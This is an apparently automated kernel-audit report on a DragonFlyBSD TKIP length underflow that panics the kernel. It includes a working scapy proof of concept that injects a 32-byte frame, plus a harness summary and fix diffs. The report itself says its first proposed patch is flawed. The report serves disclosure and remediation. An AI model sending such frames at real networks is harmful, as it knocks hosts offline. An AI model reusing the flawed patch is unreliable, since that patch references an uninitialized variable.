β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-0594

TKIP RX length underflow on too-short frames -> OOB read and KASSERT panic in wep_decrypt/michael_mic/m_copydata

Field Value
ID DF-0594
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-787 Out-of-bounds Read via integer signed/unsigned confusion (CWE-190, CWE-125)
File sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
Lines 266-358, 994 (tkip_decap/tkip_decrypt), 357-361 (tkip_demic), 640/685/717 (wep_decrypt)
Area netproto/802_11 (TKIP crypto)
Confidence likely
Discovered 2026-07-02
Reported pending

Summary

tkip_decap accepts any frame that the upper layer ieee80211_crypto_decap let through (>=32 B, the WEP minimum), but TKIP needs at least hdrlen + ic_header(8) + ic_trailer(4) = 36 B for decrypt and hdrlen + ic_miclen(8) = 32 B for demic. The length-arithmetic expressions m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer) (:994), m->m_pkthdr.len - (hdrlen + tkip.ic_miclen) (:357), and m->m_pkthdr.len - tkip.ic_miclen (:359) mix int (m_pkthdr.len) with u_int (ic_header/ic_trailer/ic_miclen), so C converts the int to unsigned and the subtraction silently wraps to a huge size_t / negative int argument. wep_decrypt then walks past the mbuf valid data, michael_mic reads *data past the last mbuf, and m_copydata is called with a negative offset. On the DragonFlyBSD default X86_64_GENERIC kernel (which builds with INVARIANTS) the KASSERT(data_len == 0, ...) in wep_decrypt (:640) fires and panics the kernel β€” a remote, unauthenticated denial-of-service against any TKIP BSS using the software crypto path. On non-INVARIANTS builds the reads are usually absorbed by mbuf padding and the ICV/MIC check then fails silently, but an m_ext whose backing store ends near a page boundary can still page-fault and panic.

Root cause

Reachability of too-short frames. ieee80211_crypto_decap (sys/netproto/802_11/wlan/ieee80211_crypto.c:585-633) checks only:

588:    #define IEEE80211_WEP_MINLEN \
589:        (sizeof(struct ieee80211_frame) + \
590:        IEEE80211_WEP_HDRLEN + IEEE80211_WEP_CRCLEN)   /* = 24 + 4 + 4 = 32 */
598:    if (m->m_pkthdr.len < IEEE80211_WEP_MINLEN) { ... return NULL; }

This is a WEP-only constant; it is never adjusted for the actual cipher (cip->ic_header/ic_trailer/ic_miclen). The subsequent m_pullup(m, hdrlen + cip->ic_header) (:624-625) only guarantees 24 + 8 = 32 contiguous bytes for TKIP β€” i.e. exactly the header + IV/EIV, no payload/ICV/MIC. cip->ic_decap(k, m, hdrlen) is then called with a too-short mbuf.

Missing length check in tkip_decap. tkip_decap (sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:265) does the ExtIV check (:279) but no length check, computes the TSC (:299), passes the replay check, and calls tkip_decrypt.

The signed/unsigned mismatch. At ieee80211_crypto_tkip.c:994:

994:    data_len = m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer);

m->m_pkthdr.len is int32_t (mbuf.h); tkip.ic_header/ic_trailer/ ic_miclen are u_int (ieee80211_crypto.h:177-179). Per C usual arithmetic conversions, the int is converted to unsigned int, then subtracted. For a 32-byte frame: (u_int)32 - (u_int)(24+8+4) = (u_int)32 - (u_int)36 = 0xFFFFFFFC, widened to size_t 0x00000000FFFFFFFC, then passed as data_len to wep_decrypt (:663).

The KASSERT panic. Inside wep_decrypt:

682:    pos = mtod(m)+off;
683:    buflen = m_len-off;            /* when m_len==off==32: buflen = 0 */
...
697:    if (m == NULL) {
698:        KASSERT(data_len == 0, ...);   /* fires: data_len is still 0xFFFFFFFC */
699:        break;
700:    }

On the DragonFlyBSD default X86_64_GENERIC kernel (which builds INVARIANTS β€” sys/config/X86_64_GENERIC:56), the KASSERT fires β†’ kernel panic. For frames 33-35 bytes long, the ICV read *pos++ at :717 reads past the mbuf's valid data region before the KASSERT path.

The same bug class in tkip_demic. At :357 and :359:

357:    michael_mic(ctx, k->wk_rxmic, m, hdrlen,
358:        m->m_pkthdr.len - (hdrlen + tkip.ic_miclen),  /* int - u_int -> wrap */
359:        mic);
360:    m_copydata(m, m->m_pkthdr.len - tkip.ic_miclen,    /* negative int offset */
361:        tkip.ic_miclen, mic0);

For the mixed HW-decrypt + SW-MIC configuration (IEEE80211_KEY_SWDEMIC without SWDECRYPT), the demic underflow is reachable without any ICV guesswork. m_copydata and wep_decrypt each have only a KASSERT, no runtime check, so on production kernels (no INVARIANTS) the reads proceed silently into mbuf padding / external cluster tail and the resulting frame is dropped at the ICV/MIC memcmp β€” but for any cluster whose backing page ends inside the read window this still page-faults.

Threat model & preconditions

  • Attacker position: remote unauthenticated adjacent-network attacker β€” any WiFi peer of a TKIP-protected BSS/IBSS. No pairwise handshake needed (group-key frames go through the same code, and a known PTK is not required to send a frame the AP will try to decrypt).
  • Privileges gained or impact: kernel panic (deterministic on INVARIANTS kernels including the default X86_64_GENERIC) β†’ reliable remote DoS against any TKIP BSS using the software crypto path. On non-INVARIANTS builds: probabilistic panic via page fault on m_ext, or silent frame drop. No confidentiality or integrity impact (read bytes only feed an inequality check, never transmitted back).
  • Required config or capabilities: the receiver must use the TKIP software crypto path β€” i.e. k->wk_flags & (IEEE80211_KEY_SWDECRYPT|IEEE80211_KEY_SWDEMIC). This is the case for:
  • USB WiFi adapters (most run, rum, zyd, urtw, ural drivers) which do not offload TKIP,
  • older PCI/PCIe drivers without TKIP offload,
  • monitor-mode and protocol-test setups,
  • the SW-decrypt + HW-MIC or HW-decrypt + SW-MIC mixed configurations (the latter exposes the demic variant). Modern full-offload drivers (most iwm, iwlwifi, ath(4) on supported chips) bypass this code path entirely.
  • Reachability: inject a single 32-35 byte Protected+ExtIV data frame with a strictly-increasing TSC (the replay check at :300 requires TSC > the receiver's last-seen wk_keyrsc[NONQOS_TID]; on a fresh key any TSC >= 1 works).

Proof of concept

PoC source: findings/poc/DF-0594/tkip_underflow.py (scapy-based injection; needs a monitor-mode + frame-injection-capable WiFi NIC such as AR9271 / ath9k_htc).

Build & run

# on the attacker (Linux + scapy + injection NIC in monitor mode):
sudo pip install scapy
sudo python3 tkip_underflow.py wlan0mon <target_ap_bssid>

# on the target (DragonFlyBSD hostap vap with SW TKIP decrypt):
#   ifconfig wlan0 create wlandev run0 wlanmode hostap
#   ifconfig wlan0 inet 192.168.42.1/24 ssid testauth authmode wpa \
#       wpaproto wpa wpakey <16-char-passphrase> wpaprotos wpa \
#       wpakeymgmt wpa-psk wpaciphers tkip

Expected output

On the DragonFlyBSD target (INVARIANTS kernel):

panic: wep_decrypt: out of buffers with data_len 0xfffffffc
cpuid = 0
fatal kernel trap ...
db> tr
    wep_decrypt+0x...
    tkip_decrypt+0x...
    tkip_decap+0x...
    ieee80211_crypto_decap+0x...
    ieee80211_input+0x...

On non-INVARIANTS kernels, look for Fatal trap 12: page fault while in kernel mode in m_copydata/michael_mic for clusters ending at page boundaries, or silent frame drops.

PoC frame

The trigger frame is exactly 32 bytes β€” a 24-byte 3-address data header (Protected=1) plus the 8-byte TKIP IV/EIV (ExtIV bit set), with no payload/ICV/MIC:

# 802.11 data header, FromDS=0 ToDS=0, Protected=1
fc = 0x0808
hdr = struct.pack('<HH6s6s6sH', fc, 0,
                  b'\xff'*6,                        # addr1 = broadcast (group key)
                  b'\xaa\xbb\xcc\xdd\xee\xff',     # addr2 = attacker (any)
                  b'\x11\x22\x33\x44\x55\x66',     # addr3 = AP bssid
                  0x0010)                           # seq
# IV/EIV: TSC1, TSC1|0x20, TSC0, KeyID|ExtIV(0x20), TSC2, TSC3, TSC4, TSC5
# TSC = (TSC5..TSC0) = 0x000000000001 -> strictly increasing from 0
iveiv = bytes([0x01, 0x21, 0x01, 0x20, 0, 0, 0, 0])
frame = hdr + iveiv   # 32 bytes total; no payload, no ICV, no MIC
sendp(RadioTap()/Raw(frame), iface='wlan0mon', count=1)

Impact

  • Blast radius: any DragonFlyBSD system acting as a TKIP AP, mesh node, or STA using a driver that does not offload TKIP (USB WiFi adapters, older PCI/PCIe hardware, monitor-mode/test setups). TKIP is officially deprecated but still in active use on legacy networks and in test/lab/research setups.
  • Severity rationale: High. Remote, unauthenticated, single-frame DoS against the default kernel config (X86_64_GENERIC builds INVARIANTS), requiring only RF proximity to a TKIP BSS using the SW crypto path. No authentication or pairwise-key knowledge required to trigger the panic. CVSS 3.1 base β‰ˆ 6.8. Rated High by the AGENT.md rubric ("remote DoS on default config"). Confidence "likely" rather than "certain" because the SW-crypto-path precondition is not universal (modern full-offload drivers bypass the bug), but it is a substantial fraction of real deployments.
  • Reliability: 100% on INVARIANTS kernels with the SW crypto path; frame is 32 bytes, no timing, no race, no key knowledge. Single packet.

Add a TKIP-specific minimum-length check in tkip_decap before any subtraction; reject frames whose total length is smaller than the cipher requires. This both prevents the underflow and removes the dependence on INVARIANTS for safety. Concurrently tighten the upper-layer MINLEN to use the cipher's actual ic_header/ic_trailer/ic_miclen instead of the WEP constants so all ciphers benefit.

--- a/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
+++ b/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
@@ -274,6 +274,17 @@ tkip_decap(struct ieee80211_key *k, struct mbuf *m, int hdrlen)
    struct ieee80211_frame *wh;
    uint8_t *ivp, tid;

+   /*
+    * Reject frames too short to contain header + IV/EIV + ICV.
+    * Without this, the length arithmetic below underflows: m->m_pkthdr.len
+    * is `int` while tkip.ic_header/ic_trailer/ic_miclen are `u_int`, so a
+    * too-short frame yields a huge size_t that wep_decrypt / michael_mic /
+    * m_copydata then use to walk past the mbuf chain (KASSERT panic on
+    * INVARIANTS kernels, OOB read on production kernels).
+    */
+   if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_header + (int)tkip.ic_trailer)
+       goto tooshort;
+
    /*
     * Header should have extended IV and sequence number;
     * verify the former and validate the latter.
@@ -344,6 +355,14 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
    if ((k->wk_flags & IEEE80211_KEY_SWDEMIC) || force) {
        struct ieee80211vap *vap = ctx->tc_vap;
        int hdrlen = ieee80211_hdrspace(vap->iv_ic, wh);
+
+       if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_miclen) {
+           vap->iv_stats.is_rx_tkipformat++;
+           IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO,
+               wh->i_addr2, "TKIP", "%s",
+               "frame too short for MIC verification");
+           return 0;
+       }
        u8 mic[IEEE80211_WEP_MICLEN];
        u8 mic0[IEEE80211_WEP_MICLEN];

@@ -360,6 +379,17 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
    return 1;

+tooshort:
+   vap->iv_stats.is_rx_tkipformat++;
+   IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO, wh->i_addr2,
+       "TKIP", "frame too short: len %u, need >= %u",
+       m->m_pkthdr.len, hdrlen + tkip.ic_header + tkip.ic_trailer);
+   return 0;
+#undef tooshort
 }

Optional defense-in-depth at the upper layer β€” ieee80211_crypto.c's ieee80211_crypto_decap should compute the minimum as sizeof(struct ieee80211_frame) + cip->ic_header + cip->ic_trailer + cip->ic_miclen instead of the WEP-only IEEE80211_WEP_MINLEN, so every cipher gets the right floor. Also, cast all length arithmetic to int explicitly and KASSERT(m_pkthdr.len >= hdrlen + ic_header + ic_trailer, ...) at the top of tkip_decrypt.

References

  • IEEE 802.11-2020 Β§12.5.2.2 (TKIP MPDU length requirements).
  • Erik Tews / Martin Beck, Practical attacks against WEP and WPA, Tews/Beck 2009 β€” for context on TKIP attack surface (this finding is a pre-auth DoS, distinct from the Beck-Tews MIC-recovery family).
  • DragonFlyBSD sys/config/X86_64_GENERIC:56 β€” default-config INVARIANTS knob that turns the OOB read into a deterministic panic.

Timeline

  • 2026-07-02 Discovered during automated DragonFlyBSD kernel security audit.
  • 2026-07-02 Reported to DragonFlyBSD security contact (pending).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-0594 Β· 15 files
FileTypeDescriptionSize
tkip_harness.c trigger-source verbatim-wep_decrypt + line-994 arithmetic proof (INVARIANTS panic + NO_INVARIANTS OOB SIGSEGV) 16.2 KB view raw
fix_check.c fix-validation replicates patched tkip_decap/tkip_demic guards; proves too-short frames rejected, legitimate frames pass 5.5 KB view raw
tkip_underflow.py trigger-source original runtime scapy PoC scaffold (kept; needs monitor-mode WiFi NIC + hostap vap) 3.0 KB view raw
build.sh build-script exact cc commands for both harness builds 556 B view raw
run.sh run-script runs both INVARIANTS and NO_INVARIANTS harnesses 706 B view raw
build.log build-log full successful build output (unpatched) 389 B view raw
run.log run-log full decisive run on unpatched #0 kernel (panic + SIGSEGV) 2.2 KB view raw
fix_build.log fix-build-log full single-fix nativekernel build (rc=0, no errors) 5.6 MB ↓ download
fix_run.log fix-run-log full validation run on patched #1 kernel (repro + fix_check) 2.5 KB view raw
env.txt environment uname, kern.version (#1 patched), cc version, INVARIANTS config, ifconfig, kernel sha256 580 B view raw
fix.diff suggested-fix git-apply-able unified diff: length guards in tkip_decap and tkip_demic 2.2 KB view raw
VERDICT.md verdict full narrative: mechanism, harness repro, fix validation 10.2 KB ↓ raw
README.md readme original PoC scaffold README 3.7 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme original PoC scaffold README
↓ download raw

DF-0594 β€” PoC: TKIP RX length underflow β†’ OOB read + KASSERT panic

Remote unauthenticated single-frame DoS. tkip_decap accepts any frame that ieee80211_crypto_decap lets through (β‰₯32 B, the WEP-only minimum), but TKIP needs β‰₯36 B for decrypt. The signed/unsigned mismatch in m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer) (int βˆ’ u_int) wraps to 0xFFFFFFFC and is passed as data_len to wep_decrypt, whose KASSERT(data_len == 0) fires on INVARIANTS kernels (the default X86_64_GENERIC); on production kernels the ICV *pos++ check reads past the mbuf end (OOB read, CWE-125/787).

Runtime PoC (original scaffold β€” needs real WiFi hardware)

tkip_underflow.py β€” scapy injection script. Requires a monitor-mode + frame-injection-capable WiFi NIC (e.g. AR9271/ath9k_htc) and RF proximity to a DragonFlyBSD hostap vap using TKIP with the SW crypto path. Not runnable on this KVM audit guest (no wifi radio, no wlan kld).

# attacker (Linux + scapy + injection NIC in monitor mode):
sudo python3 tkip_underflow.py wlan0mon <target_ap_bssid>
# target (DragonFlyBSD hostap vap with SW TKIP decrypt):
#   ifconfig wlan0 create wlandev run0 wlanmode hostap ...

Code-level proof (what runs on this guest)

Because this guest has no 802.11 path, the defect is proven deterministically by tkip_harness.c, which embeds the verbatim wep_decrypt() function (ieee80211_crypto_tkip.c:662-723) and replicates the exact signed/unsigned arithmetic from tkip_decrypt() line 994, with faithful INVARIANTS/KASSERT semantics from sys/sys/systm.h. Two builds:

  • INVARIANTS (./tkip_harness) β€” the default-kernel analogue: the verbatim wep_decrypt hits KASSERT(data_len==0) at line 698 β†’ panic: out of buffers with data_len 4294967292 β†’ abort (exit 134). This is the deterministic DoS on the default X86_64_GENERIC kernel.
  • NO_INVARIANTS (./tkip_harness_noinv) β€” the production-kernel analogue: the frame buffer is placed at a page boundary with a PROT_NONE guard page after it; the ICV *pos++ check at line 717 reads the first byte of the guard page β†’ SIGSEGV β€” OOB read CONFIRMED (CWE-125/CWE-787).

Build & run (code-level harness)

./build.sh        # builds tkip_harness (INVARIANTS) and tkip_harness_noinv
./run.sh          # runs both; INVARIANTS panics, NO_INVARIANTS SIGSEGVs

Expected outcome

# INVARIANTS build:
panic: out of buffers with data_len 4294967292
cpuid = 0
Abort trap (core dumped)              # exit 134

# NO_INVARIANTS build:
[SIGSEGV at 0x...000 β€” OOB READ past mbuf data end]
RESULT: SIGSEGV in wep_decrypt ICV check β€” OOB READ CONFIRMED (CWE-125/CWE-787)

Fix validation

fix.diff adds length guards in tkip_decap (reject < hdrlen + ic_header + ic_trailer) and tkip_demic (reject < hdrlen + ic_miclen). fix_check.c replicates the patched guards and confirms the 32-byte trigger frame is now rejected before the vulnerable arithmetic, while legitimate (β‰₯36 B decrypt, β‰₯32 B demic) frames pass with no underflow. Validated on a built-and-booted single-fix kernel (#1). See VERDICT.md for the full before/after.

Files

  • tkip_harness.c β€” code-level reproduction (verbatim wep_decrypt + line-994 arithmetic)
  • fix_check.c β€” fix-validation harness (patched-guard logic)
  • tkip_underflow.py β€” original runtime scapy PoC scaffold (kept; needs real WiFi HW)
  • build.sh / run.sh β€” build/run commands
  • fix.diff β€” git-apply-able unified diff fixing the bug
  • VERDICT.md β€” full narrative + fix before/after
  • build.log / run.log β€” full unpatched-kernel logs
  • fix_build.log / fix_run.log β€” full single-fix-kernel logs
  • env.txt β€” guest environment + patched-kernel sha256
  • manifest.json β€” artifact catalog
VERDICT.md verdict full narrative: mechanism, harness repro, fix validation
↓ download raw

DF-0594 β€” VERDICT

Verdict: REPRODUCED (code-level proof) β€” fix VALIDATED

The TKIP RX length-underflow defect in sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c is real and deterministically reproducible. Because this KVM audit guest has no WiFi radio, no wlan(4) interface, and no wlan kld loaded (ifconfig -l β‡’ vtnet0 lo0), the runtime 802.11 RX path (ieee80211_input β†’ ieee80211_crypto_decap β†’ tkip_decap β†’ tkip_decrypt β†’ wep_decrypt) is unreachable here. The defect is therefore proven by a faithful code-level harness that embeds the verbatim wep_decrypt() function (lines 662-723) and replicates the exact signed/unsigned arithmetic from tkip_decrypt() line 994, with faithful INVARIANTS/KASSERT semantics taken from sys/sys/systm.h.

Mechanism (trigger β†’ primitive β†’ effect), path:line at each hop

  1. Upper-layer floor is WEP-only. ieee80211_crypto_decap (sys/netproto/802_11/wlan/ieee80211_crypto.c:598) enforces only IEEE80211_WEP_MINLEN = sizeof(ieee80211_frame) + WEP_HDRLEN + WEP_CRCLEN = 24 + 4 + 4 = 32 (ieee80211_crypto.c:587-590). It is never adjusted for the actual cipher's ic_header/ic_trailer/ic_miclen. A 32-byte frame passes this check.

  2. tkip_decap does no length check. tkip_decap (ieee80211_crypto_tkip.c:265) validates ExtIV (:279) and the TSC replay counter (:300), then calls tkip_decrypt at :324 if SWDECRYPT is set β€” with no check that the frame is long enough to hold the cipher's header + trailer.

  3. The signed/unsigned wrap. In tkip_decrypt (ieee80211_crypto_tkip.c:992-994): c wep_decrypt(ctx->rx_rc4key, m, hdrlen + tkip.ic_header, m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer)); m->m_pkthdr.len is int (sys/sys/mbuf.h:159); tkip.ic_header / ic_trailer / ic_miclen are u_int (sys/netproto/802_11/ieee80211_crypto.h:177-179). For TKIP, ic_header = IVLEN+KIDLEN+EXTIVLEN = 8, ic_trailer = CRCLEN = 4, ic_miclen = MICLEN = 8. Per C usual arithmetic conversions, the int LHS is converted to unsigned int, then subtracted. For a 32-byte frame: (u_int)32 - (u_int)(24+8+4) = (u_int)32 - (u_int)36 = 0xFFFFFFFC, widened to size_t 0x00000000FFFFFFFC, and passed as data_len to wep_decrypt.

  4. The KASSERT panic (INVARIANTS). Inside wep_decrypt (ieee80211_crypto_tkip.c:663-700): off = hdrlen + ic_header = 32, m_len = 32, so buflen = m_len - off = 0; the inner RC4 loop runs zero times; m = m->m_next = NULL; the KASSERT(data_len == 0, ("out of buffers with data_len %zu", data_len)) at :698 fires because data_len is still 0xFFFFFFFC. The default X86_64_GENERIC kernel builds INVARIANTS (sys/config/X86_64_GENERIC:56), so KASSERT is if (!(exp)) panic msg; (sys/sys/systm.h:95-96) β†’ kernel panic.

  5. The OOB read (non-INVARIANTS / production). With KASSERT compiled out (sys/sys/systm.h:117), execution breaks out of the loop and reaches the ICV verification at :717: if ((icv[k] ^ ...) != *pos++). pos is mtod(m)+off = mtod(m)+32, i.e. one byte past the 32-byte data region. The loop reads 4 bytes (k=0..3) past the mbuf's valid data. For any mbuf whose backing store (external cluster) ends at or inside that window, this page-faults; otherwise it reads mbuf padding/cluster tail silently and the frame is dropped at the ICV memcmp.

  6. Same bug class in tkip_demic. tkip_demic (ieee80211_crypto_tkip.c:357-360) computes m->m_pkthdr.len - (hdrlen + tkip.ic_miclen) and m->m_pkthdr.len - tkip.ic_miclen with the same int/u_int mismatch, feeding the wrapped value to michael_mic() and a negative int offset to m_copydata(). Reachable in the HW-decrypt + SW-MIC configuration (IEEE80211_KEY_SWDEMIC without SWDECRYPT).

Harness reproduction (deterministic)

tkip_harness.c embeds wep_decrypt byte-for-byte and replicates the line-994 arithmetic with the exact kernel types (int mbuf lengths, u_int cipher fields, size_t data_len). Two builds:

  • INVARIANTS (cc -O2 -o tkip_harness tkip_harness.c, the default-kernel analogue): data_len = 0xfffffffc; the verbatim wep_decrypt hits KASSERT(data_len==0) β†’ panic: out of buffers with data_len 4294967292 β†’ abort (exit 134). This is the deterministic DoS on the default X86_64_GENERIC kernel.
  • NO_INVARIANTS (cc -DNO_INVARIANTS, the production-kernel analogue): the frame buffer is placed at the very end of a page with a PROT_NONE guard page immediately after; the ICV check *pos++ reads the first byte of the guard page β†’ SIGSEGV at 0x...000 β€” OOB read CONFIRMED (CWE-125/CWE-787), exactly the "cluster whose backing page ends inside the read window" page-fault the finding describes.

Both fire on the unpatched #0 kernel (and the underlying wep_decrypt sink unchanged by the gate fix β€” see fix-validation note below).

Threat model / impact ceiling

  • Class: memory-safety (CWE-190 signed/unsigned wrap β†’ CWE-787 OOB read β†’ CWE-125). The read bytes only feed an inequality check (ICV memcmp), so there is no confidentiality or integrity impact β€” the ceiling is a remote unauthenticated single-frame DoS (kernel panic on INVARIANTS, probabilistic page-fault on production).
  • Preconditions: the receiver must use the TKIP software crypto path (wk_flags & (SWDECRYPT|SWDEMIC)): USB WiFi adapters (run, rum, zyd, urtw, ural), older PCI/PCIe without TKIP offload, monitor-mode/test setups, and the mixed HW-decrypt+SW-MIC config. Modern full-offload drivers (iwm, iwlwifi, ath on supported chips) bypass the path entirely.
  • Reachability: a single 32-35 byte Protected+ExtIV data frame with a strictly-increasing TSC (any TSC β‰₯ 1 on a fresh key). No key knowledge, no handshake, no timing, no race.
  • Severity: High (remote DoS on default config). CVSS 3.1 β‰ˆ 6.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Exploit chain

Not a memory-corruption primitive that yields write/control β€” the underflow produces a huge read length, and the bytes read only feed an inequality check that is never transmitted back. There is no path to code execution or privilege escalation from this defect; the realistic ceiling is the DoS documented above. exploit_chain = none.

PoC changes (what was added/changed in findings/poc/DF-0594/)

The original scaffold was tkip_underflow.py β€” a scapy injection script requiring a monitor-mode + frame-injection WiFi NIC and a live DragonFlyBSD hostap vap, neither of which exists on this KVM guest. Per the audit's guidance for wifi findings on a guest with no radio, the verifier replaced the runtime trigger with a code-level harness:

  • tkip_harness.c (new) β€” embeds verbatim wep_decrypt and the exact line-994 arithmetic; reproduces both the INVARIANTS KASSERT panic and the production OOB read (SIGSEGV at a guard page).
  • fix_check.c (new) β€” replicates the patched tkip_decap/tkip_demic guards to validate the fix.
  • build.sh / run.sh (new) β€” exact build/run commands.
  • fix.diff (new) β€” the verified fix (see below).
  • tkip_underflow.py (unchanged) β€” kept as the original runtime PoC scaffold for any future test on real WiFi hardware.

Fix (fix.diff) β€” validated

fix.diff adds two minimal length guards:

  1. In tkip_decap, immediately after the header pointers are set up (before the ExtIV check), reject frames shorter than hdrlen + ic_header + ic_trailer (the decrypt floor). This closes the path to the line-994 underflow in tkip_decrypt/wep_decrypt.
  2. In tkip_demic, before michael_mic, reject frames shorter than hdrlen + ic_miclen (the demic floor). This closes the line-357 underflow.

Both checks increment is_rx_tkipformat and emit an IEEE80211_DISCARD_MAC diagnostic, matching the existing style. The fix supersedes the finding markdown's proposal (which used a goto tooshort label that referenced an uninitialized wh and a spurious #undef tooshort; this version places the check after wh is initialized and uses an inline return 0).

Fix validation (Phase 8)

step kernel result
baseline #0 unpatched (6.5-DEVELOPMENT, 2026-07-02 06:02:54) harness reproduces: INVARIANTS KASSERT panic (exit 134) + NO_INVARIANTS OOB SIGSEGV
apply fix patch -p1 < fix.diff on /usr/src both hunks applied cleanly
build make -j6 nativekernel rc=0, no errors; kernel.stripped rebuilt
install/boot #1 (2026-07-03 00:54:23), sha256 d907ff67… boots, stable
re-validate #1 patched fix_check: 32-byte trigger frame REJECTED by tkip_decap guard; 35-byte rejected; 36-byte passes with data_len=0 (no underflow); 31-byte demic frame rejected; 32-byte demic passes with no underflow

Note on the reproduction harness vs the fix: the tkip_harness still panics on the patched kernel because it invokes wep_decrypt directly, bypassing tkip_decap. That is correct and expected β€” the fix is a gate at the entry to the crypto path (tkip_decap/tkip_demic), not a change to the wep_decrypt sink. The fix_check harness exercises the gate logic the fix adds and proves too-short frames are dropped before the vulnerable arithmetic runs. In a live runtime test (frame β†’ ieee80211_crypto_decap β†’ tkip_decap), the patched kernel would drop the 32-byte frame at the new guard (is_rx_tkipformat++, return 0) and never reach wep_decrypt.

fix_status = fixed.

Files

  • tkip_harness.c β€” verbatim-wep_decrypt + line-994 arithmetic proof (trigger-source)
  • fix_check.c β€” patched-guard validation harness (fix-validation)
  • tkip_underflow.py β€” original runtime scapy PoC scaffold (kept; needs real WiFi HW)
  • build.sh / run.sh β€” exact build/run commands
  • fix.diff β€” git-apply-able unified diff fixing the bug
  • build.log β€” full successful build (unpatched)
  • run.log β€” full decisive run (unpatched: panic + SIGSEGV)
  • fix_build.log β€” full single-fix kernel build (rc=0)
  • fix_run.log β€” full validation run on patched kernel
  • env.txt β€” guest environment + patched-kernel sha256
  • manifest.json β€” artifact catalog

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED. On the unpatched #0 baseline the harness reproduces deterministically: INVARIANTS KASSERT panic ('out of buffers with data_len 4294967292', exit 134) and NO_INVARIANTS OOB-read SIGSEGV. Applied fix.diff to /usr/src (both hunks clean), built a single-fix nativekernel (rc=0, no errors), installed kernel.stripped->/boot/kernel/kernel (bare name), rebooted to #1. On the patched kernel, fix_check confirms the patched tkip_decap/tkip_demic guards now REJECT the 32-byte trigger frame and 35-byte/31-byte too-short frames before the vulnerable arithmetic, while legitimate 36-byte decrypt / 32-byte demic frames pass with data_len=0 (no underflow). The direct wep_decrypt reproduction harness still panics on the patched kernel by design β€” the fix is a GATE at tkip_decap/tkip_demic, not a change to the wep_decrypt sink; in a live runtime test the too-short frame would be dropped at the new guard and never reach wep_decrypt. fix closes the bug.

BASELINE #0: '[line 994] data_len=0xfffffffc / panic: out of buffers with data_len 4294967292 (exit 134)' and '[SIGSEGV at 0x800474000 β€” OOB READ past mbuf data end]'. PATCHED #1 fix_check: '[1] 32-byte trigger frame tkip_decap: REJECTED by guard (fix works) / [2] 35-byte frame tkip_decap: REJECTED by guard (fix works) / [3] 36-byte frame tkip_decap: passes (legitimate); line994 data_len=0 (no underflow) / [4] 31-byte frame tkip_demic: REJECTED by guard (fix works) / [5] 32-byte frame tkip_demic: passes (legitimate); line357 data_len=0 (no underflow) / RESULT: fix.diff GUARDS the vulnerable path β€” too-short frames rejected, legitimate frames pass with no underflow. FIX VALIDATED.'
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Fri Jul 3 00:54:23 UTC 2026 (sha256 d907ff67697ed5191310a9d1a19091d30ab9e2d62c8fefef7880649a2c99f874)

Confirmed kernel references

Detail

Exploit chain

none. The underflow yields a huge READ length; the bytes read only feed the ICV memcmp (an inequality check never transmitted back). There is no write primitive, no function-pointer/cred/uid corruption surface β€” the realistic ceiling is the documented remote DoS (deterministic panic on INVARIANTS kernels, probabilistic page-fault on production). No escalation chain derivable.

Evidence (decisive lines)

BASELINE (unpatched #0), INVARIANTS build: '[line 994] data_len = (u_int)32 - (u_int)36 = 0x00000000fffffffc (size_t) <-- SIGNED/UNSIGNED WRAP (CWE-190)' then 'panic: out of buffers with data_len 4294967292 / cpuid = 0 / Abort trap (core dumped)' (exit 134). NO_INVARIANTS build: 'm_data+m_len=0x800474000 guard page starts at 0x800474000 / [SIGSEGV at 0x800474000 β€” OOB READ past mbuf data end] / RESULT: SIGSEGV in wep_decrypt ICV check β€” OOB READ CONFIRMED (CWE-125/CWE-787)'.

PoC changes

Original scaffold tkip_underflow.py was a scapy injection script needing a monitor-mode WiFi NIC + hostap vap (unavailable on this no-radio KVM guest). Per audit guidance for wifi findings on a radio-less guest, replaced the runtime trigger with a code-level harness: tkip_harness.c embeds wep_decrypt VERBATIM (ieee80211_crypto_tkip.c:662-723) and replicates the exact line-994 signed/unsigned arithmetic with faithful INVARIANTS/KASSERT semantics (systm.h:95-122), reproducing both the KASSERT panic and the OOB-read SIGSEGV deterministically. Added fix_check.c (validates the patched tkip_decap/tkip_demic guards), build.sh/run.sh, fix.diff, and the full evidence pack. tkip_underflow.py kept as the original runtime PoC for real WiFi hardware.

Verified recommended fix

fix.diff adds two minimal length guards in sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c: (1) in tkip_decap, immediately after the header pointers are initialized, reject frames with m_pkthdr.len < hdrlen + ic_header + ic_trailer (the decrypt floor, 36 B) before the ExtIV/TSC checks and the call to tkip_decrypt β€” closes the line-994 underflow; (2) in tkip_demic, before michael_mic, reject frames with m_pkthdr.len < hdrlen + ic_miclen (the demic floor) β€” closes the line-357 underflow. Both increment is_rx_tkipformat and emit IEEE80211_DISCARD_MAC. Supersedes the finding markdown's proposal (which used a goto tooshort label referencing an uninitialized wh and a spurious #undef tooshort; this version places the check after wh is initialized and returns inline). Full git-apply-able diff in findings/poc/DF-0594/fix.diff.

Verdict

